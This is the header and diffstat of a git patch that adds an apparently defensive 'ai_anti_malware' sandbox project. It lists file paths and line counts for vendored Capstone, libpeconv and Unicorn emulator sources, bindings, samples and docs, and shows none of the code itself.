From 2ca572e2256434ac28e9175c11c44563f6994a54 Mon Sep 17 00:00:00 2001 From: Huoji's <1296564236@qq.com> Date: Thu, 6 Mar 2025 04:05:03 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E9=A1=B9=E7=9B=AE=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vscode/settings.json | 60 + ai_anti_malware.sln | 31 + ai_anti_malware/ai_anti_malware.cpp | 48 + ai_anti_malware/ai_anti_malware.vcxproj | 187 + .../ai_anti_malware.vcxproj.filters | 138 + ai_anti_malware/capstone/capstone.lib | Bin 0 -> 7308856 bytes .../capstone/include/capstone/arm.h | 937 + .../capstone/include/capstone/arm64.h | 1164 + .../capstone/include/capstone/capstone.h | 766 + .../capstone/include/capstone/evm.h | 188 + .../capstone/include/capstone/m680x.h | 537 + .../capstone/include/capstone/m68k.h | 613 + .../capstone/include/capstone/mips.h | 956 + .../capstone/include/capstone/platform.h | 122 + .../capstone/include/capstone/ppc.h | 1463 ++ .../capstone/include/capstone/sparc.h | 520 + .../capstone/include/capstone/systemz.h | 830 + .../capstone/include/capstone/tms320c64x.h | 359 + .../capstone/include/capstone/x86.h | 1972 ++ .../capstone/include/capstone/xcore.h | 235 + ai_anti_malware/capstone/include/platform.h | 110 + .../capstone/include/windowsce/intrin.h | 12 + .../capstone/include/windowsce/stdint.h | 133 + ai_anti_malware/head.h | 31 + .../libpeconv/libpeconv/CMakeLists.txt | 83 + .../libpeconv/libpeconv/include/peconv.h | 30 + .../libpeconv/include/peconv/buffer_util.h | 76 + .../libpeconv/include/peconv/caves.h | 27 + .../include/peconv/delayed_imports_loader.h | 61 + .../libpeconv/include/peconv/exported_func.h | 123 + .../libpeconv/include/peconv/exports_lookup.h | 50 + .../libpeconv/include/peconv/exports_mapper.h | 140 + .../libpeconv/include/peconv/file_util.h | 55 + .../libpeconv/include/peconv/find_base.h | 20 + .../libpeconv/include/peconv/fix_imports.h | 119 + .../include/peconv/function_resolver.h | 39 + .../libpeconv/include/peconv/hooks.h | 135 + .../libpeconv/include/peconv/imports_loader.h | 70 + .../include/peconv/imports_uneraser.h | 94 + .../include/peconv/load_config_defs.h | 228 + .../include/peconv/load_config_util.h | 42 + .../libpeconv/include/peconv/pe_dumper.h | 48 + .../libpeconv/include/peconv/pe_hdrs_helper.h | 232 + .../libpeconv/include/peconv/pe_loader.h | 42 + .../include/peconv/pe_mode_detector.h | 46 + .../include/peconv/pe_raw_to_virtual.h | 30 + .../include/peconv/pe_virtual_to_raw.h | 47 + .../libpeconv/include/peconv/peb_lookup.h | 40 + .../libpeconv/include/peconv/relocate.h | 51 + .../include/peconv/remote_pe_reader.h | 93 + .../include/peconv/resource_parser.h | 25 + .../libpeconv/include/peconv/resource_util.h | 34 + .../libpeconv/libpeconv/include/peconv/util.h | 25 + .../libpeconv/libpeconv/src/buffer_util.cpp | 87 + .../libpeconv/libpeconv/src/caves.cpp | 139 + .../libpeconv/src/delayed_imports_loader.cpp | 200 + .../libpeconv/libpeconv/src/exported_func.cpp | 176 + .../libpeconv/src/exports_lookup.cpp | 193 + .../libpeconv/src/exports_mapper.cpp | 269 + .../libpeconv/libpeconv/src/file_util.cpp | 147 + .../libpeconv/libpeconv/src/find_base.cpp | 125 + .../libpeconv/src/fix_dot_net_ep.cpp | 144 + .../libpeconv/libpeconv/src/fix_dot_net_ep.h | 8 + .../libpeconv/libpeconv/src/fix_imports.cpp | 306 + .../libpeconv/src/function_resolver.cpp | 18 + .../libpeconv/libpeconv/src/hooks.cpp | 224 + .../libpeconv/src/imports_loader.cpp | 254 + .../libpeconv/src/imports_uneraser.cpp | 243 + .../libpeconv/src/load_config_util.cpp | 57 + .../libpeconv/libpeconv/src/ntddk.h | 4302 ++++ .../libpeconv/libpeconv/src/pe_dumper.cpp | 73 + .../libpeconv/src/pe_hdrs_helper.cpp | 633 + .../libpeconv/libpeconv/src/pe_loader.cpp | 122 + .../libpeconv/src/pe_mode_detector.cpp | 205 + .../libpeconv/src/pe_raw_to_virtual.cpp | 140 + .../libpeconv/src/pe_virtual_to_raw.cpp | 213 + .../libpeconv/libpeconv/src/peb_lookup.cpp | 178 + .../libpeconv/libpeconv/src/relocate.cpp | 189 + .../libpeconv/src/remote_pe_reader.cpp | 299 + .../libpeconv/src/resource_parser.cpp | 90 + .../libpeconv/libpeconv/src/resource_util.cpp | 56 + .../libpeconv/libpeconv/src/util.cpp | 100 + ai_anti_malware/native_struct.h | 1028 + ai_anti_malware/sandbox.cpp | 575 + ai_anti_malware/sandbox.h | 94 + ai_anti_malware/sandbox_callbacks.cpp | 1 + ai_anti_malware/sandbox_callbacks.h | 70 + ai_anti_malware/unicorn/include/unicorn/arm.h | 157 + .../unicorn/include/unicorn/arm64.h | 344 + .../unicorn/include/unicorn/m68k.h | 50 + .../unicorn/include/unicorn/mips.h | 232 + .../unicorn/include/unicorn/platform.h | 221 + .../unicorn/include/unicorn/sparc.h | 130 + .../unicorn/include/unicorn/unicorn.h | 779 + ai_anti_malware/unicorn/include/unicorn/x86.h | 1446 ++ .../.github/workflows/cifuzz.yml | 23 + .../.github/workflows/python-publish.yml | 67 + .../unicorn/unicorn-master/.gitignore | 101 + .../unicorn/unicorn-master/.travis.yml | 353 + .../unicorn/unicorn-master/AUTHORS.TXT | 2 + .../unicorn/unicorn-master/Brewfile | 6 + .../unicorn/unicorn-master/CMakeLists.txt | 980 + .../unicorn/unicorn-master/COPYING | 339 + .../unicorn/unicorn-master/COPYING.LGPL2 | 481 + .../unicorn/unicorn-master/COPYING_GLIB | 482 + .../unicorn/unicorn-master/CREDITS.TXT | 75 + .../unicorn/unicorn-master/ChangeLog | 115 + .../unicorn/unicorn-master/Makefile | 424 + .../unicorn/unicorn-master/README.md | 54 + .../unicorn/unicorn-master/SPONSORS.TXT | 7 + .../unicorn/unicorn-master/bindings/Makefile | 54 + .../unicorn/unicorn-master/bindings/README | 38 + .../bindings/const_generator.py | 204 + .../unicorn-master/bindings/dotnet/README.md | 30 + .../bindings/dotnet/UnicornDotNet.sln | 28 + .../dotnet/UnicornManaged/AssemblyInfo.fs | 41 + .../UnicornManaged/Binding/BindingFactory.fs | 13 + .../dotnet/UnicornManaged/Binding/IBinding.fs | 28 + .../UnicornManaged/Binding/MockBinding.fs | 51 + .../UnicornManaged/Binding/NativeBinding.fs | 93 + .../dotnet/UnicornManaged/Const/Arm.fs | 140 + .../dotnet/UnicornManaged/Const/Arm64.fs | 319 + .../dotnet/UnicornManaged/Const/Common.fs | 116 + .../dotnet/UnicornManaged/Const/M68k.fs | 32 + .../dotnet/UnicornManaged/Const/Mips.fs | 205 + .../dotnet/UnicornManaged/Const/Sparc.fs | 104 + .../dotnet/UnicornManaged/Const/X86.fs | 1607 ++ .../dotnet/UnicornManaged/ConvertUtility.fs | 21 + .../dotnet/UnicornManaged/InternalHooks.fs | 32 + .../bindings/dotnet/UnicornManaged/Unicorn.fs | 343 + .../UnicornManaged/UnicornEngineException.fs | 9 + .../UnicornManaged/UnicornManaged.fsproj | 87 + .../bindings/dotnet/UnicornSamples/App.config | 6 + .../bindings/dotnet/UnicornSamples/Program.cs | 23 + .../UnicornSamples/Properties/AssemblyInfo.cs | 36 + .../dotnet/UnicornSamples/ShellcodeSample.cs | 195 + .../UnicornSamples/UnicornSamples.csproj | 108 + .../bindings/dotnet/UnicornSamples/Utils.cs | 47 + .../dotnet/UnicornSamples/X86Sample32.cs | 328 + .../dotnet/UnicornSamples/packages.config | 4 + .../unicorn-master/bindings/go/Makefile | 12 + .../unicorn-master/bindings/go/README.md | 29 + .../unicorn-master/bindings/go/sample.go | 105 + .../bindings/go/unicorn/arm64_const.go | 314 + .../bindings/go/unicorn/arm_const.go | 135 + .../bindings/go/unicorn/context.go | 29 + .../bindings/go/unicorn/context_test.go | 26 + .../unicorn-master/bindings/go/unicorn/hook.c | 42 + .../bindings/go/unicorn/hook.go | 153 + .../unicorn-master/bindings/go/unicorn/hook.h | 9 + .../bindings/go/unicorn/m68k_const.go | 27 + .../bindings/go/unicorn/mips_const.go | 200 + .../bindings/go/unicorn/reg_batch.go | 95 + .../bindings/go/unicorn/sparc_const.go | 99 + .../unicorn-master/bindings/go/unicorn/uc.c | 25 + .../unicorn-master/bindings/go/unicorn/uc.h | 2 + .../bindings/go/unicorn/unicorn.go | 235 + .../bindings/go/unicorn/unicorn_const.go | 111 + .../bindings/go/unicorn/unicorn_test.go | 74 + .../unicorn-master/bindings/go/unicorn/x86.go | 54 + .../bindings/go/unicorn/x86_const.go | 1602 ++ .../bindings/go/unicorn/x86_test.go | 185 + .../bindings/haskell/.gitignore | 24 + .../bindings/haskell/README.TXT | 31 + .../unicorn-master/bindings/haskell/Setup.hs | 2 + .../bindings/haskell/samples/SampleArm.hs | 134 + .../bindings/haskell/samples/SampleArm64.hs | 85 + .../haskell/samples/SampleBatchReg.hs | 99 + .../bindings/haskell/samples/SampleM68k.hs | 142 + .../bindings/haskell/samples/SampleMips.hs | 129 + .../bindings/haskell/samples/SampleSparc.hs | 85 + .../bindings/haskell/samples/SampleX86.hs | 744 + .../bindings/haskell/samples/Shellcode.hs | 153 + .../bindings/haskell/src/Unicorn.hs | 360 + .../bindings/haskell/src/Unicorn/CPU/Arm.chs | 32 + .../haskell/src/Unicorn/CPU/Arm64.chs | 32 + .../bindings/haskell/src/Unicorn/CPU/M68k.chs | 32 + .../bindings/haskell/src/Unicorn/CPU/Mips.chs | 65 + .../haskell/src/Unicorn/CPU/Sparc.chs | 32 + .../bindings/haskell/src/Unicorn/CPU/X86.chs | 70 + .../bindings/haskell/src/Unicorn/Hook.hs | 216 + .../haskell/src/Unicorn/Internal/Core.chs | 54 + .../haskell/src/Unicorn/Internal/Hook.chs | 445 + .../haskell/src/Unicorn/Internal/Unicorn.chs | 350 + .../haskell/src/Unicorn/Internal/Util.hs | 31 + .../haskell/src/cbits/unicorn_wrapper.c | 50 + .../haskell/src/include/unicorn_wrapper.h | 30 + .../bindings/haskell/unicorn.cabal | 42 + .../unicorn-master/bindings/java/Makefile | 29 + .../bindings/java/Makefile.build | 81 + .../unicorn-master/bindings/java/README.TXT | 37 + .../java/samples/SampleNetworkAuditing.java | 429 + .../bindings/java/samples/Sample_arm.java | 130 + .../bindings/java/samples/Sample_arm64.java | 115 + .../bindings/java/samples/Sample_m68k.java | 177 + .../bindings/java/samples/Sample_mips.java | 151 + .../bindings/java/samples/Sample_sparc.java | 115 + .../bindings/java/samples/Sample_x86.java | 669 + .../bindings/java/samples/Sample_x86_mmr.java | 77 + .../bindings/java/samples/Shellcode.java | 161 + .../bindings/java/unicorn/Arm64Const.java | 317 + .../bindings/java/unicorn/ArmConst.java | 138 + .../bindings/java/unicorn/BlockHook.java | 29 + .../bindings/java/unicorn/CodeHook.java | 29 + .../bindings/java/unicorn/EventMemHook.java | 29 + .../bindings/java/unicorn/Hook.java | 29 + .../bindings/java/unicorn/InHook.java | 29 + .../bindings/java/unicorn/InterruptHook.java | 29 + .../bindings/java/unicorn/M68kConst.java | 30 + .../bindings/java/unicorn/MemHook.java | 27 + .../bindings/java/unicorn/MemRegion.java | 37 + .../bindings/java/unicorn/MipsConst.java | 203 + .../bindings/java/unicorn/OutHook.java | 29 + .../bindings/java/unicorn/ReadHook.java | 29 + .../bindings/java/unicorn/SparcConst.java | 102 + .../bindings/java/unicorn/SyscallHook.java | 29 + .../bindings/java/unicorn/Unicorn.java | 825 + .../bindings/java/unicorn/UnicornConst.java | 114 + .../java/unicorn/UnicornException.java | 34 + .../bindings/java/unicorn/WriteHook.java | 29 + .../bindings/java/unicorn/X86Const.java | 1605 ++ .../bindings/java/unicorn/X86_MMR.java | 46 + .../bindings/java/unicorn_Unicorn.c | 781 + .../unicorn-master/bindings/pascal/LICENSE | 339 + .../unicorn-master/bindings/pascal/README.md | 52 + .../bindings/pascal/examples/x86.lpi | 105 + .../bindings/pascal/examples/x86.lpr | 1001 + .../bindings/pascal/examples/x86.lps | 197 + .../bindings/pascal/unicorn/Arm64Const.pas | 319 + .../bindings/pascal/unicorn/ArmConst.pas | 140 + .../bindings/pascal/unicorn/M68kConst.pas | 32 + .../bindings/pascal/unicorn/MipsConst.pas | 205 + .../bindings/pascal/unicorn/SparcConst.pas | 104 + .../bindings/pascal/unicorn/UnicornConst.pas | 116 + .../bindings/pascal/unicorn/Unicorn_dyn.pas | 673 + .../bindings/pascal/unicorn/X86Const.pas | 1607 ++ .../bindings/python/MANIFEST.in | 4 + .../unicorn-master/bindings/python/Makefile | 84 + .../unicorn-master/bindings/python/README.TXT | 41 + .../bindings/python/build_wheel.sh | 14 + .../bindings/python/prebuilt/.gitkeep | 0 .../bindings/python/sample_all.sh | 15 + .../bindings/python/sample_arm.py | 105 + .../bindings/python/sample_arm64.py | 68 + .../bindings/python/sample_arm64eb.py | 69 + .../bindings/python/sample_armeb.py | 104 + .../bindings/python/sample_m68k.py | 88 + .../bindings/python/sample_mips.py | 101 + .../python/sample_network_auditing.py | 408 + .../bindings/python/sample_sparc.py | 64 + .../bindings/python/sample_x86.py | 653 + .../unicorn-master/bindings/python/setup.cfg | 2 + .../unicorn-master/bindings/python/setup.py | 291 + .../bindings/python/shellcode.py | 179 + .../bindings/python/unicorn/__init__.py | 4 + .../bindings/python/unicorn/arm64_const.py | 311 + .../bindings/python/unicorn/arm_const.py | 132 + .../bindings/python/unicorn/m68k_const.py | 24 + .../bindings/python/unicorn/mips_const.py | 197 + .../bindings/python/unicorn/sparc_const.py | 96 + .../bindings/python/unicorn/unicorn.py | 689 + .../bindings/python/unicorn/unicorn_const.py | 108 + .../bindings/python/unicorn/x86_const.py | 1599 ++ .../unicorn-master/bindings/ruby/Makefile | 11 + .../unicorn-master/bindings/ruby/README.md | 24 + .../bindings/ruby/sample_arm.rb | 106 + .../bindings/ruby/sample_arm64.rb | 69 + .../bindings/ruby/sample_m68k.rb | 65 + .../bindings/ruby/sample_mips.rb | 104 + .../bindings/ruby/sample_sparc.rb | 65 + .../bindings/ruby/sample_x86.rb | 552 + .../bindings/ruby/sample_x86_gdt.rb | 97 + .../bindings/ruby/test_hook_gc.rb | 60 + .../bindings/ruby/unicorn_gem/Gemfile | 3 + .../bindings/ruby/unicorn_gem/Rakefile | 2 + .../bindings/ruby/unicorn_gem/ext/extconf.rb | 8 + .../bindings/ruby/unicorn_gem/ext/types.h | 33 + .../bindings/ruby/unicorn_gem/ext/unicorn.c | 589 + .../bindings/ruby/unicorn_gem/ext/unicorn.h | 36 + .../lib/unicorn_engine/arm64_const.rb | 314 + .../lib/unicorn_engine/arm_const.rb | 135 + .../lib/unicorn_engine/m68k_const.rb | 27 + .../lib/unicorn_engine/mips_const.rb | 200 + .../lib/unicorn_engine/sparc_const.rb | 99 + .../lib/unicorn_engine/unicorn_const.rb | 111 + .../unicorn_gem/lib/unicorn_engine/version.rb | 3 + .../lib/unicorn_engine/x86_const.rb | 1602 ++ .../bindings/ruby/unicorn_gem/pkg/.gitignore | 10 + .../ruby/unicorn_gem/unicorn-engine.gemspec | 21 + .../bindings/vb6/.gitattributes | 11 + .../bindings/vb6/CMemRegion.cls | 50 + .../unicorn-master/bindings/vb6/Form1.frm | 256 + .../unicorn-master/bindings/vb6/Project1.vbp | 42 + .../unicorn-master/bindings/vb6/README.txt | 71 + .../bindings/vb6/example_output.txt | 54 + .../unicorn-master/bindings/vb6/main.cpp | 459 + .../unicorn-master/bindings/vb6/misc.bas | 325 + .../bindings/vb6/screenshot.png | Bin 0 -> 22954 bytes .../unicorn-master/bindings/vb6/ucIntel32.cls | 927 + .../unicorn-master/bindings/vb6/uc_def.bas | 2504 ++ .../unicorn-master/bindings/vb6/ucvbshim.sln | 20 + .../bindings/vb6/ucvbshim.vcproj | 204 + .../unicorn/unicorn-master/cmake.sh | 17 + .../unicorn/unicorn-master/config.mk | 30 + .../unicorn-master/docs/BHUSA2015-unicorn.pdf | Bin 0 -> 768115 bytes .../unicorn-master/docs/COMPILE-CMAKE.md | 57 + .../unicorn-master/docs/COMPILE-NIX.md | 164 + .../unicorn-master/docs/COMPILE-WINDOWS.md | 184 + .../unicorn/unicorn-master/docs/COMPILE.md | 25 + .../API_Doc_Pic/ABkexFCfphu3zIg.png | Bin 0 -> 4779 bytes .../API_Doc_Pic/DkztJcigHCdmnRp.png | Bin 0 -> 4174 bytes .../API_Doc_Pic/F3rSByYuNTGDtC1.png | Bin 0 -> 71651 bytes .../API_Doc_Pic/I25E9sWcJpGyax7.png | Bin 0 -> 27807 bytes .../API_Doc_Pic/IZhyWrGebA5tT4i.png | Bin 0 -> 4282 bytes .../API_Doc_Pic/K4HMijIVt6lofvT.png | Bin 0 -> 3594 bytes .../API_Doc_Pic/MbZk8KjQFqJOxmd.png | Bin 0 -> 2123 bytes .../API_Doc_Pic/NExsavSgu4yMbBQ.png | Bin 0 -> 27616 bytes .../API_Doc_Pic/OVaHwelNQ4tcLmo.png | Bin 0 -> 34594 bytes .../API_Doc_Pic/YCMNcEVyX8GHoPb.png | Bin 0 -> 35483 bytes .../API_Doc_Pic/ZtRKvUoaPTlshJ4.png | Bin 0 -> 4501 bytes .../API_Doc_Pic/aU1lbmxMjXA5g3K.png | Bin 0 -> 14221 bytes .../API_Doc_Pic/bpu4r8hgzUvO7Pm.png | Bin 0 -> 4887 bytes .../API_Doc_Pic/dqKBwAWUL7XvypE.png | Bin 0 -> 3653 bytes .../API_Doc_Pic/fOnNpSKvjYyc7QB.png | Bin 0 -> 120733 bytes .../API_Doc_Pic/iyodlNFY7hHEOgS.png | Bin 0 -> 14310 bytes .../API_Doc_Pic/juNPWvwGUlraKRh.png | Bin 0 -> 13007 bytes .../API_Doc_Pic/kbrF7NdV6LDxnYI.png | Bin 0 -> 1990 bytes .../API_Doc_Pic/l1AhdxgKE2U3tZB.png | Bin 0 -> 2502 bytes .../API_Doc_Pic/l4HhgDzcJIVvFNU.png | Bin 0 -> 2415 bytes .../API_Doc_Pic/q3JtOQRPl5xTFKp.png | Bin 0 -> 15096 bytes .../Micro Unicorn-Engine API Documentation.md | 2754 +++ .../unicorn-master/docs/OPENBSD-NOTES.md | 69 + .../unicorn/unicorn-master/docs/README.md | 17 + .../unicorn-master/docs/unicorn-logo.png | Bin 0 -> 60383 bytes .../unicorn-master/docs/unicorn-logo.txt | 19 + .../unicorn/unicorn-master/include/list.h | 33 + .../unicorn/unicorn-master/include/qemu.h | 51 + .../unicorn/unicorn-master/include/uc_priv.h | 269 + .../unicorn-master/include/unicorn/arm.h | 157 + .../unicorn-master/include/unicorn/arm64.h | 344 + .../unicorn-master/include/unicorn/m68k.h | 50 + .../unicorn-master/include/unicorn/mips.h | 232 + .../unicorn-master/include/unicorn/platform.h | 221 + .../unicorn-master/include/unicorn/sparc.h | 130 + .../unicorn-master/include/unicorn/unicorn.h | 779 + .../unicorn-master/include/unicorn/x86.h | 1446 ++ .../unicorn-master/install-cmocka-linux.sh | 12 + ai_anti_malware/unicorn/unicorn-master/list.c | 111 + .../unicorn/unicorn-master/make.sh | 138 + .../unicorn/unicorn-master/msvc.bat | 3 + .../unicorn/unicorn-master/msvc/.gitignore | 3 + .../unicorn/unicorn-master/msvc/README.TXT | 273 + .../msvc/samples/mem_apis/mem_apis.vcxproj | 176 + .../samples/mem_apis/mem_apis.vcxproj.filters | 6 + .../samples/sample_arm/sample_arm.vcxproj | 176 + .../sample_arm/sample_arm.vcxproj.filters | 6 + .../samples/sample_arm64/sample_arm64.vcxproj | 176 + .../sample_arm64/sample_arm64.vcxproj.filters | 6 + .../sample_arm64eb/sample_arm64eb.vcxproj | 176 + .../sample_arm64eb.vcxproj.filters | 6 + .../samples/sample_armeb/sample_armeb.vcxproj | 174 + .../sample_armeb/sample_armeb.vcxproj.filters | 6 + .../sample_batch_reg/sample_batch_reg.vcxproj | 176 + .../sample_batch_reg.vcxproj.filters | 6 + .../samples/sample_m68k/sample_m68k.vcxproj | 176 + .../sample_m68k/sample_m68k.vcxproj.filters | 6 + .../samples/sample_mips/sample_mips.vcxproj | 176 + .../sample_mips/sample_mips.vcxproj.filters | 6 + .../samples/sample_sparc/sample_sparc.vcxproj | 176 + .../sample_sparc/sample_sparc.vcxproj.filters | 6 + .../samples/sample_x86/sample_x86.vcxproj | 193 + .../sample_x86/sample_x86.vcxproj.filters | 6 + .../sample_x86_32_gdt_and_seg_regs.vcxproj | 176 + ...le_x86_32_gdt_and_seg_regs.vcxproj.filters | 6 + .../msvc/samples/shellcode/shellcode.vcxproj | 176 + .../shellcode/shellcode.vcxproj.filters | 6 + .../unicorn/unicorn-master/msvc/unicorn.sln | 370 + .../aarch64-softmmu/aarch64-softmmu.vcxproj | 239 + .../aarch64-softmmu.vcxproj.filters | 149 + .../unicorn/aarch64-softmmu/config-target.h | 5 + .../aarch64eb-softmmu.vcxproj | 239 + .../aarch64eb-softmmu.vcxproj.filters | 149 + .../unicorn/aarch64eb-softmmu/config-target.h | 6 + .../unicorn/arm-softmmu/arm-softmmu.vcxproj | 235 + .../arm-softmmu/arm-softmmu.vcxproj.filters | 137 + .../msvc/unicorn/arm-softmmu/config-target.h | 5 + .../armeb-softmmu/armeb-softmmu.vcxproj | 235 + .../armeb-softmmu.vcxproj.filters | 137 + .../unicorn/armeb-softmmu/config-target.h | 6 + .../unicorn-master/msvc/unicorn/config-host.h | 6 + .../msvc/unicorn/m68k-softmmu/config-target.h | 6 + .../unicorn/m68k-softmmu/m68k-softmmu.vcxproj | 226 + .../m68k-softmmu/m68k-softmmu.vcxproj.filters | 110 + .../msvc/unicorn/mips-softmmu/config-target.h | 7 + .../unicorn/mips-softmmu/mips-softmmu.vcxproj | 237 + .../mips-softmmu/mips-softmmu.vcxproj.filters | 128 + .../unicorn/mips64-softmmu/config-target.h | 7 + .../mips64-softmmu/mips64-softmmu.vcxproj | 237 + .../mips64-softmmu.vcxproj.filters | 128 + .../unicorn/mips64el-softmmu/config-target.h | 6 + .../mips64el-softmmu/mips64el-softmmu.vcxproj | 237 + .../mips64el-softmmu.vcxproj.filters | 128 + .../unicorn/mipsel-softmmu/config-target.h | 6 + .../mipsel-softmmu/mipsel-softmmu.vcxproj | 237 + .../mipsel-softmmu.vcxproj.filters | 128 + .../msvc/unicorn/prebuild_script.bat | 21 + .../unicorn-master/msvc/unicorn/qapi-types.c | 293 + .../unicorn-master/msvc/unicorn/qapi-types.h | 228 + .../unicorn-master/msvc/unicorn/qapi-visit.c | 428 + .../unicorn-master/msvc/unicorn/qapi-visit.h | 51 + .../unicorn/sparc-softmmu/config-target.h | 6 + .../sparc-softmmu/sparc-softmmu.vcxproj | 230 + .../sparc-softmmu.vcxproj.filters | 122 + .../unicorn/sparc64-softmmu/config-target.h | 6 + .../sparc64-softmmu/sparc64-softmmu.vcxproj | 231 + .../sparc64-softmmu.vcxproj.filters | 125 + .../msvc/unicorn/unicorn/dllmain.cpp | 18 + .../msvc/unicorn/unicorn/unicorn.vcxproj | 374 + .../unicorn/unicorn/unicorn.vcxproj.filters | 505 + .../unicorn_static/unicorn_static.vcxproj | 378 + .../unicorn_static.vcxproj.filters | 504 + .../unicorn/x86_64-softmmu/config-target.h | 5 + .../x86_64-softmmu/x86_64-softmmu.vcxproj | 243 + .../x86_64-softmmu.vcxproj.filters | 164 + .../unicorn/unicorn-master/nmake.bat | 40 + .../unicorn/unicorn-master/pkgconfig.mk | 13 + .../unicorn/unicorn-master/qemu/CODING_STYLE | 107 + .../unicorn/unicorn-master/qemu/COPYING | 339 + .../unicorn/unicorn-master/qemu/COPYING.LIB | 504 + .../unicorn/unicorn-master/qemu/HACKING | 159 + .../unicorn/unicorn-master/qemu/LICENSE | 21 + .../unicorn/unicorn-master/qemu/Makefile | 115 + .../unicorn/unicorn-master/qemu/Makefile.objs | 12 + .../unicorn-master/qemu/Makefile.target | 84 + .../unicorn/unicorn-master/qemu/VERSION | 1 + .../unicorn/unicorn-master/qemu/aarch64.h | 3056 +++ .../unicorn/unicorn-master/qemu/aarch64eb.h | 3056 +++ .../unicorn/unicorn-master/qemu/accel.c | 130 + .../unicorn/unicorn-master/qemu/arm.h | 3021 +++ .../unicorn/unicorn-master/qemu/armeb.h | 3021 +++ .../unicorn/unicorn-master/qemu/configure | 1364 ++ .../unicorn/unicorn-master/qemu/cpu-exec.c | 449 + .../unicorn/unicorn-master/qemu/cpus.c | 213 + .../unicorn/unicorn-master/qemu/cputlb.c | 426 + .../qemu/default-configs/aarch64-softmmu.mak | 0 .../default-configs/aarch64eb-softmmu.mak | 0 .../qemu/default-configs/arm-softmmu.mak | 0 .../qemu/default-configs/armeb-softmmu.mak | 0 .../qemu/default-configs/m68k-softmmu.mak | 0 .../qemu/default-configs/mips-softmmu.mak | 0 .../qemu/default-configs/mips64-softmmu.mak | 0 .../qemu/default-configs/mips64el-softmmu.mak | 0 .../qemu/default-configs/mipsel-softmmu.mak | 0 .../qemu/default-configs/sparc-softmmu.mak | 0 .../qemu/default-configs/sparc64-softmmu.mak | 0 .../qemu/default-configs/x86_64-softmmu.mak | 3 + .../unicorn-master/qemu/docs/memory.txt | 244 + .../unicorn/unicorn-master/qemu/exec.c | 2347 ++ .../qemu/fpu/softfloat-macros.h | 749 + .../qemu/fpu/softfloat-specialize.h | 1161 + .../unicorn-master/qemu/fpu/softfloat.c | 7579 ++++++ .../unicorn-master/qemu/gen_all_header.sh | 4 + .../unicorn/unicorn-master/qemu/glib_compat.c | 1457 ++ .../unicorn/unicorn-master/qemu/header_gen.py | 4085 ++++ .../unicorn-master/qemu/hw/Makefile.objs | 4 + .../unicorn-master/qemu/hw/core/Makefile.objs | 3 + .../unicorn-master/qemu/hw/core/machine.c | 47 + .../unicorn-master/qemu/hw/core/qdev.c | 344 + .../unicorn-master/qemu/hw/i386/Makefile.objs | 1 + .../unicorn/unicorn-master/qemu/hw/i386/pc.c | 181 + .../unicorn-master/qemu/hw/i386/pc_piix.c | 78 + .../unicorn-master/qemu/hw/intc/Makefile.objs | 1 + .../unicorn-master/qemu/hw/intc/apic.c | 230 + .../unicorn-master/qemu/hw/intc/apic_common.c | 274 + .../unicorn-master/qemu/hw/m68k/Makefile.objs | 1 + .../unicorn-master/qemu/hw/m68k/dummy_m68k.c | 50 + .../unicorn-master/qemu/hw/mips/Makefile.objs | 2 + .../unicorn-master/qemu/hw/mips/addr.c | 39 + .../unicorn-master/qemu/hw/mips/cputimer.c | 131 + .../unicorn-master/qemu/hw/mips/mips_r4k.c | 57 + .../qemu/hw/sparc/Makefile.objs | 1 + .../unicorn-master/qemu/hw/sparc/leon3.c | 72 + .../qemu/hw/sparc64/Makefile.objs | 1 + .../unicorn-master/qemu/hw/sparc64/sun4u.c | 63 + .../unicorn-master/qemu/include/config.h | 2 + .../unicorn/unicorn-master/qemu/include/elf.h | 560 + .../qemu/include/exec/address-spaces.h | 35 + .../qemu/include/exec/cpu-all.h | 309 + .../qemu/include/exec/cpu-common.h | 120 + .../qemu/include/exec/cpu-defs.h | 151 + .../qemu/include/exec/cpu_ldst.h | 400 + .../qemu/include/exec/cpu_ldst_template.h | 193 + .../unicorn-master/qemu/include/exec/cputlb.h | 48 + .../qemu/include/exec/exec-all.h | 379 + .../qemu/include/exec/gen-icount.h | 72 + .../qemu/include/exec/helper-gen.h | 70 + .../qemu/include/exec/helper-head.h | 134 + .../qemu/include/exec/helper-proto.h | 39 + .../qemu/include/exec/helper-tcg.h | 48 + .../unicorn-master/qemu/include/exec/hwaddr.h | 22 + .../unicorn-master/qemu/include/exec/ioport.h | 59 + .../qemu/include/exec/memory-internal.h | 36 + .../unicorn-master/qemu/include/exec/memory.h | 864 + .../qemu/include/exec/ram_addr.h | 163 + .../qemu/include/fpu/softfloat.h | 741 + .../unicorn-master/qemu/include/glib_compat.h | 136 + .../unicorn-master/qemu/include/hw/boards.h | 82 + .../qemu/include/hw/cpu/icc_bus.h | 79 + .../unicorn-master/qemu/include/hw/hw.h | 41 + .../qemu/include/hw/i386/apic.h | 29 + .../qemu/include/hw/i386/apic_internal.h | 147 + .../unicorn-master/qemu/include/hw/i386/pc.h | 52 + .../qemu/include/hw/m68k/m68k.h | 10 + .../qemu/include/hw/mips/cpudevs.h | 10 + .../qemu/include/hw/mips/mips.h | 7 + .../qemu/include/hw/qdev-core.h | 353 + .../unicorn-master/qemu/include/hw/qdev.h | 7 + .../qemu/include/hw/sparc/sparc.h | 8 + .../qemu/include/qapi/dealloc-visitor.h | 26 + .../unicorn-master/qemu/include/qapi/error.h | 88 + .../qemu/include/qapi/qmp-input-visitor.h | 29 + .../qemu/include/qapi/qmp-output-visitor.h | 28 + .../qemu/include/qapi/qmp/qbool.h | 29 + .../qemu/include/qapi/qmp/qdict.h | 75 + .../qemu/include/qapi/qmp/qerror.h | 155 + .../qemu/include/qapi/qmp/qfloat.h | 29 + .../qemu/include/qapi/qmp/qint.h | 28 + .../qemu/include/qapi/qmp/qjson.h | 29 + .../qemu/include/qapi/qmp/qlist.h | 63 + .../qemu/include/qapi/qmp/qobject.h | 113 + .../qemu/include/qapi/qmp/qstring.h | 36 + .../qemu/include/qapi/qmp/types.h | 25 + .../qemu/include/qapi/string-input-visitor.h | 25 + .../qemu/include/qapi/visitor-impl.h | 67 + .../qemu/include/qapi/visitor.h | 64 + .../unicorn-master/qemu/include/qemu-common.h | 252 + .../unicorn-master/qemu/include/qemu/aes.h | 68 + .../unicorn-master/qemu/include/qemu/atomic.h | 234 + .../unicorn-master/qemu/include/qemu/bitmap.h | 61 + .../unicorn-master/qemu/include/qemu/bitops.h | 408 + .../unicorn-master/qemu/include/qemu/bswap.h | 434 + 